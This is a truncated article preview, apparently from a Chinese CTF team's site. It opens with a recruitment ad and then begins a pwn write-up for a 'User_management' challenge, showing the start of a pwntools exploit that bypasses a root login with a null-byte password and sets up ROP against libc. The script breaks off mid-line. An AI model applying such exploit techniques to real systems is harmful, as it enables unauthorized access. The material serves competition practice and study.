文章预览
招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 admin@chamd5.org(带上简历和想加入的小组) Pwn User_management from pwn import * import re p = process( './user_management' ) # p = gdb.debug('./user_management','b *$rebase(0x0000000000001E63)') elf = ELF( './user_management' ) libc = ELF( './libc.so.6' ) rop = ROP(libc) def root_login(): p.sendlineafter(b 'ce: ' , str(1)) p.sendlineafter(b ' here?' ,b 'manage usersaaaa\x00' ) p.sendlineafter(b 'ame: ' ,b 'MrAlphaQ' ) p.sendlineafter(b 'rd: ' ,b '\x00' ) def add_user(desc,name,passwd=b '0rb1t' ): p.sendlineafter(b 'ce: ' ,str(2)) p.sendlineafter(b 'ame: ' ,name) p.sendlineafter(b 'rd: ' ,passwd) p.sendlineafter(b 'ion: ' ,desc) def login(name,passwd=b '0rb1t' ): p.sendlineafter(b 'ce: ' ,str(3)) p.sendlinea
………………………………
